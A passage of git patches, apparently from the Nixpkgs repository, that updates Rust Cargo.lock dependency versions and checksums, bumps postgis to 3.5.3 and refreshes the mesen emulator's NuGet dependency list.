+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95ce90fd5bcc06af55a641a86428ee4229e44e07033963a2290a8e241607ccb9"
+checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
 dependencies = [
  "bumpalo",
  "log",
- "once_cell",
  "proc-macro2",
  "quote",
- "syn 1.0.109",
+ "syn 2.0.104",
  "wasm-bindgen-shared",
 ]
 
 [[package]]
 name = "wasm-bindgen-futures"
-version = "0.4.34"
+version = "0.4.50"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f219e0d211ba40266969f6dbdd90636da12f75bee4fc9d6c23d1260dadb51454"
+checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61"
 dependencies = [
  "cfg-if",
  "js-sys",
+ "once_cell",
  "wasm-bindgen",
  "web-sys",
 ]
 
 [[package]]
 name = "wasm-bindgen-macro"
-version = "0.2.84"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c21f77c0bedc37fd5dc21f897894a5ca01e7bb159884559461862ae90c0b4c5"
+checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
 dependencies = [
  "quote",
  "wasm-bindgen-macro-support",
@@ -3735,28 +3974,31 @@ dependencies = [
 
 [[package]]
 name = "wasm-bindgen-macro-support"
-version = "0.2.84"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2aff81306fcac3c7515ad4e177f521b5c9a15f2b08f4e32d823066102f35a5f6"
+checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 1.0.109",
+ "syn 2.0.104",
  "wasm-bindgen-backend",
  "wasm-bindgen-shared",
 ]
 
 [[package]]
 name = "wasm-bindgen-shared"
-version = "0.2.84"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0046fef7e28c3804e5e38bfa31ea2a0f73905319b677e57ebe37e49358989b5d"
+checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
+dependencies = [
+ "unicode-ident",
+]
 
 [[package]]
 name = "web-sys"
-version = "0.3.61"
+version = "0.3.77"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e33b99f4b23ba3eec1a53ac264e35a755f00e966e0065077d6027c0f575b0b97"
+checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2"
 dependencies = [
  "js-sys",
  "wasm-bindgen",
@@ -3774,22 +4016,24 @@ dependencies = [
 
 [[package]]
 name = "which"
-version = "4.4.0"
+version = "4.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2441c784c52b289a054b7201fc93253e288f094e2f4be9058343127c4226a269"
+checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
 dependencies = [
  "either",
- "libc",
+ "home",
  "once_cell",
+ "rustix 0.38.44",
 ]
 
 [[package]]
 name = "whoami"
-version = "1.4.0"
+version = "1.6.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2c70234412ca409cc04e864e89523cb0fc37f5e1344ebed5a3ebf4192b6b9f68"
+checksum = "6994d13118ab492c3c80c1f81928718159254c53c472bf9ce36f8dae4add02a7"
 dependencies = [
- "wasm-bindgen",
+ "redox_syscall 0.5.13",
+ "wasite",
  "web-sys",
 ]
 
@@ -3811,11 +4055,11 @@ checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
 
 [[package]]
 name = "winapi-util"
-version = "0.1.5"
+version = "0.1.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
+checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb"
 dependencies = [
- "winapi",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -3825,172 +4069,361 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 
 [[package]]
-name = "windows"
-version = "0.48.0"
+name = "windows-core"
+version = "0.61.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f"
+checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3"
 dependencies = [
- "windows-targets 0.48.0",
+ "windows-implement",
+ "windows-interface",
+ "windows-link",
+ "windows-result",
+ "windows-strings",
+]
+
+[[package]]
+name = "windows-implement"
+version = "0.60.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "windows-interface"
+version = "0.59.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "windows-link"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
+
+[[package]]
+name = "windows-result"
+version = "0.3.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "windows-strings"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57"
+dependencies = [
+ "windows-link",
 ]
 
 [[package]]
 name = "windows-sys"
-version = "0.42.0"
+version = "0.52.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7"
+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
 dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
+ "windows-targets 0.52.6",
 ]
 
 [[package]]
 name = "windows-sys"
-version = "0.45.0"
+version = "0.59.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
+checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
 dependencies = [
- "windows-targets 0.42.2",
+ "windows-targets 0.52.6",
 ]
 
 [[package]]
 name = "windows-sys"
-version = "0.48.0"
+version = "0.60.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
 dependencies = [
- "windows-targets 0.48.0",
+ "windows-targets 0.53.2",
 ]
 
 [[package]]
 name = "windows-targets"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
+checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
 dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
+ "windows_aarch64_gnullvm 0.52.6",
+ "windows_aarch64_msvc 0.52.6",
+ "windows_i686_gnu 0.52.6",
+ "windows_i686_gnullvm 0.52.6",
+ "windows_i686_msvc 0.52.6",
+ "windows_x86_64_gnu 0.52.6",
+ "windows_x86_64_gnullvm 0.52.6",
+ "windows_x86_64_msvc 0.52.6",
 ]
 
 [[package]]
 name = "windows-targets"
-version = "0.48.0"
+version = "0.53.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5"
+checksum = "c66f69fcc9ce11da9966ddb31a40968cad001c5bedeb5c2b82ede4253ab48aef"
 dependencies = [
- "windows_aarch64_gnullvm 0.48.0",
- "windows_aarch64_msvc 0.48.0",
- "windows_i686_gnu 0.48.0",
- "windows_i686_msvc 0.48.0",
- "windows_x86_64_gnu 0.48.0",
- "windows_x86_64_gnullvm 0.48.0",
- "windows_x86_64_msvc 0.48.0",
+ "windows_aarch64_gnullvm 0.53.0",
+ "windows_aarch64_msvc 0.53.0",
+ "windows_i686_gnu 0.53.0",
+ "windows_i686_gnullvm 0.53.0",
+ "windows_i686_msvc 0.53.0",
+ "windows_x86_64_gnu 0.53.0",
+ "windows_x86_64_gnullvm 0.53.0",
+ "windows_x86_64_msvc 0.53.0",
 ]
 
 [[package]]
 name = "windows_aarch64_gnullvm"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
+checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
 
 [[package]]
 name = "windows_aarch64_gnullvm"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
+checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
 
 [[package]]
 name = "windows_aarch64_msvc"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
+checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
 
 [[package]]
 name = "windows_aarch64_msvc"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
+checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
 
 [[package]]
 name = "windows_i686_gnu"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
+checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
 
 [[package]]
 name = "windows_i686_gnu"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
+checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
 
 [[package]]
 name = "windows_i686_msvc"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
+checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
 
 [[package]]
 name = "windows_i686_msvc"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
+checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
 
 [[package]]
 name = "windows_x86_64_gnu"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
+checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
 
 [[package]]
 name = "windows_x86_64_gnu"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
+checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
 
 [[package]]
 name = "windows_x86_64_gnullvm"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
+checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
 
 [[package]]
 name = "windows_x86_64_gnullvm"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
+checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
 
 [[package]]
 name = "windows_x86_64_msvc"
-version = "0.42.2"
+version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
+checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
 
 [[package]]
 name = "windows_x86_64_msvc"
-version = "0.48.0"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a"
+checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
+
+[[package]]
+name = "winnow"
+version = "0.7.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "74c7b26e3480b707944fc872477815d29a8e429d2f93a1ce000f5fa84a15cbcd"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "wit-bindgen-rt"
+version = "0.39.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1"
+dependencies = [
+ "bitflags 2.9.1",
+]
+
+[[package]]
+name = "writeable"
+version = "0.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ea2f10b9bb0928dfb1b42b65e1f9e36f7f54dbdf08457afefb38afcdec4fa2bb"
+
+[[package]]
+name = "wyz"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed"
+dependencies = [
+ "tap",
+]
+
+[[package]]
+name = "yoke"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5f41bb01b8226ef4bfd589436a297c53d118f65921786300e427be8d487695cc"
+dependencies = [
+ "serde",
+ "stable_deref_trait",
+ "yoke-derive",
+ "zerofrom",
+]
+
+[[package]]
+name = "yoke-derive"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "38da3c9736e16c5d3c8c597a9aaa5d1fa565d0532ae05e27c24aa62fb32c0ab6"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+ "synstructure",
+]
+
+[[package]]
+name = "zerocopy"
+version = "0.8.26"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
+dependencies = [
+ "zerocopy-derive",
+]
+
+[[package]]
+name = "zerocopy-derive"
+version = "0.8.26"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
+[[package]]
+name = "zerofrom"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5"
+dependencies = [
+ "zerofrom-derive",
+]
+
+[[package]]
+name = "zerofrom-derive"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+ "synstructure",
+]
 
 [[package]]
 name = "zeroize"
-version = "1.6.0"
+version = "1.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2a0956f1ba7c7909bfb66c2e9e4124ab6f6482560f6628b5aaeba39207c9aad9"
+checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde"
+
+[[package]]
+name = "zerotrie"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "36f0bbd478583f79edad978b407914f61b2972f5af6fa089686016be8f9af595"
+dependencies = [
+ "displaydoc",
+ "yoke",
+ "zerofrom",
+]
+
+[[package]]
+name = "zerovec"
+version = "0.11.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4a05eb080e015ba39cc9e23bbe5e7fb04d5fb040350f99f34e338d5fdd294428"
+dependencies = [
+ "yoke",
+ "zerofrom",
+ "zerovec-derive",
+]
+
+[[package]]
+name = "zerovec-derive"
+version = "0.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b96237efa0c878c64bd89c436f661be4e46b2f3eff1ebb976f7ef2321d2f58f"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
 
 [[package]]
 name = "zip"
-version = "0.6.5"
+version = "0.6.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e92305c174683d78035cbf1b70e18db6329cc0f1b9cae0a52ca90bf5bfe7125"
+checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261"
 dependencies = [
  "byteorder",
  "crc32fast",

From 866bb539d801c01918998288958eb74558c59817 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 11 Jul 2025 15:49:14 +0200
Subject: [PATCH 2295/4511] postgresqlPackages.postgis: 3.5.2 -> 3.5.3

Release notes:
https://git.osgeo.org/gitea/postgis/postgis/raw/tag/3.5.3/NEWS

(cherry picked from commit c3a41f85e4373895b979d5620d92f0925e65adc8)
---
 pkgs/servers/sql/postgresql/ext/postgis.nix | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/postgis.nix b/pkgs/servers/sql/postgresql/ext/postgis.nix
index 2e9a76c43c7b..09c547075135 100644
--- a/pkgs/servers/sql/postgresql/ext/postgis.nix
+++ b/pkgs/servers/sql/postgresql/ext/postgis.nix
@@ -4,7 +4,6 @@
   cunit,
   docbook5,
   fetchFromGitHub,
-  fetchpatch,
   gdalMinimal,
   geos,
   jitSupport,
@@ -36,7 +35,7 @@ let
 in
 postgresqlBuildExtension (finalAttrs: {
   pname = "postgis";
-  version = "3.5.2";
+  version = "3.5.3";
 
   outputs = [
     "out"
@@ -47,18 +46,9 @@ postgresqlBuildExtension (finalAttrs: {
     owner = "postgis";
     repo = "postgis";
     tag = finalAttrs.version;
-    hash = "sha256-1kOLtG6AMavbWQ1lHG2ABuvIcyTYhgcbjuVmqMR4X+g=";
+    hash = "sha256-rJxIZGsQhh8QAacgkepBzzC79McVhY9wFphQIVRQHA8=";
   };
 
-  patches = [
-    # Backport patch for compatibility with GDAL 3.11
-    # FIXME: remove in next update
-    (fetchpatch {
-      url = "https://git.osgeo.org/gitea/postgis/postgis/commit/614eca7c169cd6e9819801d3ea99d5258262c58b.patch";
-      hash = "sha256-VkNZFANAt8Jv+ExCusGvi+ZWB7XLcAheefSx7akA7Go=";
-    })
-  ];
-
   buildInputs =
     [
       geos

From 03ab8e3742e318559573154ef92d06bcc32cdb89 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Tue, 8 Jul 2025 00:23:47 +0200
Subject: [PATCH 2296/4511] mesen: 2.0.0-unstable-2025-04-01 -> 2.1.1

(cherry picked from commit 1fe150201f783bf21ebc2901233c8e7de580d4c0)
---
 pkgs/by-name/me/mesen/deps.json               | 154 ++++++++----------
 .../me/mesen/dont-use-nightly-avalonia.patch  |  17 --
 pkgs/by-name/me/mesen/package.nix             |   9 +-
 3 files changed, 76 insertions(+), 104 deletions(-)

diff --git a/pkgs/by-name/me/mesen/deps.json b/pkgs/by-name/me/mesen/deps.json
index ed1b21d2485e..47072422d04e 100644
--- a/pkgs/by-name/me/mesen/deps.json
+++ b/pkgs/by-name/me/mesen/deps.json
@@ -1,18 +1,18 @@
 [
   {
     "pname": "Avalonia",
-    "version": "11.2.4",
-    "hash": "sha256-CcdWUxqd43A4KeY1K4T5M6R1M0zuwdwyd5Qh/BAlNT4="
+    "version": "11.3.1",
+    "hash": "sha256-732wl4/JmvYFS26NLvPD7T/V3J3JZUDy6Xwj5p1TNyE="
   },
   {
     "pname": "Avalonia.Angle.Windows.Natives",
-    "version": "2.1.22045.20230930",
-    "hash": "sha256-RxPcWUT3b/+R3Tu5E5ftpr5ppCLZrhm+OTsi0SwW3pc="
+    "version": "2.1.25547.20250602",
+    "hash": "sha256-LE/lENAHptmz6t3T/AoJwnhpda+xs7PqriNGzdcfg8M="
   },
   {
     "pname": "Avalonia.AvaloniaEdit",
-    "version": "11.1.0",
-    "hash": "sha256-K9+hK+4aK93dyuGytYvVU25daz605+KN54hmwQYXFF8="
+    "version": "11.3.0",
+    "hash": "sha256-avrZ9um57Y3wTslyeBAXeCQrcb7a3kODFc0SSvthHF4="
   },
   {
     "pname": "Avalonia.BuildServices",
@@ -21,118 +21,108 @@
   },
   {
     "pname": "Avalonia.Controls.ColorPicker",
-    "version": "11.2.3",
-    "hash": "sha256-z3ZHxVSOoOjqq+5G71jnGN1Y0i3YpAkox7cj3lNr6kg="
-  },
-  {
-    "pname": "Avalonia.Controls.DataGrid",
-    "version": "11.2.3",
-    "hash": "sha256-jIJvuYN0iym/WeOC0C7z5xj5kCZSXGoeLQ/q5qQfewM="
-  },
-  {
-    "pname": "Avalonia.Controls.ProportionalStackPanel",
-    "version": "11.2.0",
-    "hash": "sha256-Y8tX7dBzSl69NOSNdpNGzGetc6wQtKnFy/KRnV0SKhQ="
-  },
-  {
-    "pname": "Avalonia.Controls.Recycling",
-    "version": "11.2.0",
-    "hash": "sha256-ylsPhtILO0pk+5uPZKB5L1o7X8JTiOe48czPPLYLyVs="
-  },
-  {
-    "pname": "Avalonia.Controls.Recycling.Model",
-    "version": "11.2.0",
-    "hash": "sha256-zAleY6ryWIexJAzz4BpT/Xd3iDgNL624YW5sIBJ0Sv8="
+    "version": "11.3.1",
+    "hash": "sha256-95sAkALievpuwLtCl7+6PgwNyxx9DAi/vVvQUFT7Qqs="
   },
   {
     "pname": "Avalonia.Desktop",
-    "version": "11.2.4",
-    "hash": "sha256-WKTOx7RNSb0fOMg5Za4j+u9DwKXDqVzHwQCEXSm7TFo="
+    "version": "11.3.1",
+    "hash": "sha256-H6SLCi3by9bFF1YR12PnNZSmtC44UQPKr+5+8LvqC90="
   },
   {
     "pname": "Avalonia.Diagnostics",
-    "version": "11.2.3",
-    "hash": "sha256-DIGkaBff+C3BLwedw5xteR5lfzb6ecxiLt12eJVgLQc="
+    "version": "11.3.1",
+    "hash": "sha256-zDX3BfqUFUQ+p1ZWdHuhnV0n5B9RfiEtB8m0Px5AhsI="
   },
   {
     "pname": "Avalonia.FreeDesktop",
-    "version": "11.2.4",
-    "hash": "sha256-lw8YFXR/pn0awFvFW+OhjZ2LbHonL6zwqLIz+pQp+Sk="
-  },
-  {
-    "pname": "Avalonia.MarkupExtension",
-    "version": "11.2.0",
-    "hash": "sha256-BUEMX+YThWmxh9X50bGsFtclLFVSIITMlAf0iq2vApk="
+    "version": "11.3.1",
+    "hash": "sha256-Iph1SQazNNr9liox0LR7ITidAEEWhp8Mg9Zn4MZVkRQ="
   },
   {
     "pname": "Avalonia.Native",
-    "version": "11.2.4",
-    "hash": "sha256-MvxivGjYerXcr70JpWe9CCXO6MU9QQgCkmZfjZCFdJM="
+    "version": "11.3.1",
+    "hash": "sha256-jNzqmHm58bbPGs/ogp6gFvinbN81Psg+sg+Z5UsbcDs="
   },
   {
     "pname": "Avalonia.ReactiveUI",
-    "version": "11.2.3",
-    "hash": "sha256-NqRetBiFg5gNCS8C0J1JJJsZ4sz+w+GoEegGFddBGDg="
+    "version": "11.3.1",
+    "hash": "sha256-m7AFSxwvfz9LAueu0AFC+C7jHrB+lysBmpBh7bhpmUs="
   },
   {
     "pname": "Avalonia.Remote.Protocol",
-    "version": "11.2.3",
-    "hash": "sha256-dSeu7rnTD9rIvlyro2iFS52oi0vvfeaGV3kDm90BkKw="
-  },
-  {
-    "pname": "Avalonia.Remote.Protocol",
-    "version": "11.2.4",
-    "hash": "sha256-mKQVqtzxnZu6p64ZxIHXKSIw3AxAFjhmrxCc5/1VXfc="
+    "version": "11.3.1",
+    "hash": "sha256-evkhJOxKjsR+jNLrXRcrhqjFdlrxYMMMRBJ6FK08vMM="
   },
   {
     "pname": "Avalonia.Skia",
-    "version": "11.2.4",
-    "hash": "sha256-82UQGuCl5hN5kdA3Uz7hptpNnG1EPlSB6k/a6XPSuXI="
+    "version": "11.3.1",
+    "hash": "sha256-zN09CcuSqtLcQrTCQOoPJrhLd4LioZqt/Qi4sDp/cJI="
   },
   {
     "pname": "Avalonia.Themes.Fluent",
-    "version": "11.2.4",
-    "hash": "sha256-CPun/JWFCVoGxgMA510/gMP2ZB9aZJ9Bk8yuNjwo738="
+    "version": "11.3.1",
+    "hash": "sha256-PApWHwIoLzbzrnyXJQLVy85Rbxag7NFEKMXOs2iVVaA="
   },
   {
     "pname": "Avalonia.Themes.Simple",
-    "version": "11.2.3",
-    "hash": "sha256-UF15yTDzHmqd33siH3TJxmxaonA51dzga+hmCUahn1k="
+    "version": "11.3.1",
+    "hash": "sha256-U9btigJeFcuOu7T3ryyJJesffnZo1JBb9pWkF0PFu9s="
   },
   {
     "pname": "Avalonia.Win32",
-    "version": "11.2.4",
-    "hash": "sha256-LJSKiLbdof8qouQhN7pY1RkMOb09IiAu/nrJFR2OybY="
+    "version": "11.3.1",
+    "hash": "sha256-w3+8luJByeIchiVQ0wsq0olDabX/DndigyBEuK8Ty04="
   },
   {
     "pname": "Avalonia.X11",
-    "version": "11.2.4",
-    "hash": "sha256-qty8D2/HlZz/7MiEhuagjlKlooDoW3fow5yJY5oX4Uk="
+    "version": "11.3.1",
+    "hash": "sha256-0iUFrDM+10T3OiOeGSEiqQ6EzEucQL3shZUNqOiqkyQ="
   },
   {
     "pname": "CommunityToolkit.Mvvm",
-    "version": "8.0.0",
-    "hash": "sha256-G+PXrc2sr2pdy+JCr3t/Ge6nTDtuoWf1Eypu5HufAxw="
+    "version": "8.4.0",
+    "hash": "sha256-a0D550q+ffreU9Z+kQPdzJYPNaj1UjgyPofLzUg02ZI="
   },
   {
     "pname": "Dock.Avalonia",
-    "version": "11.2.0",
-    "hash": "sha256-Q8YUsH+hfnL9VDMPTJSAms7xb+hr42p7scWqu2c2eD4="
+    "version": "11.3.0.2",
+    "hash": "sha256-eIvjeTMzPTpQ+sB6qmTHVnEDAof6Zqrbnamhm1J83e4="
+  },
+  {
+    "pname": "Dock.Controls.ProportionalStackPanel",
+    "version": "11.3.0.2",
+    "hash": "sha256-b5OdT1HEyTlDUkwtG5dYazWbsS2+4PDBgOpWxWhFcAI="
+  },
+  {
+    "pname": "Dock.Controls.Recycling",
+    "version": "11.3.0.2",
+    "hash": "sha256-uon93CGz3uJtELZmDqj3XWIDR/HIH7peXojfcHjRxJY="
+  },
+  {
+    "pname": "Dock.Controls.Recycling.Model",
+    "version": "11.3.0.2",
+    "hash": "sha256-rr/k3mMSEQd1C7uL9bMNYc9OaaKIaKGnG+xqc4iHvOQ="
+  },
+  {
+    "pname": "Dock.MarkupExtension",
+    "version": "11.3.0.2",
+    "hash": "sha256-v+fUQ/6p7QCRlCGf4PbuDkKauTISt3uIOadGsfUpUqE="
   },
   {
     "pname": "Dock.Model",
-    "version": "11.2.0",
